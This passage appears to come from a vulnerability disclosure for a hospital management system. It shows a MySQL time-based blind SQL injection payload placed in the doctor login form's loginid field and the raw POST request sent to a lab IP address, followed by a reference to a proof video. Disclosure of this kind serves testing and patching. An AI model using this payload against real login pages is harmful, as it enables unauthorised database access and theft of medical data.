        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: loginid=test' AND (SELECT 1110 FROM (SELECT(SLEEP(5)))pvXE) AND 'crsy'='crsy&password=test123&submit=Login
    

\[+\]POST request package

    POST /hms/doctorlogin.php HTTP/1.1
    Host: 192.168.74.136
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 42
    Origin: http://192.168.74.136
    Connection: close
    Referer: http://192.168.74.136/hms/doctorlogin.php
    Cookie: PHPSESSID=sbgmgg8q26ri1tmnqfv7poto25
    Upgrade-Insecure-Requests: 1
    
    loginid=test&password=test123&submit=Login
    

**In action:**

**Proof and Exploit:**

example2.mp4

Tag

#windows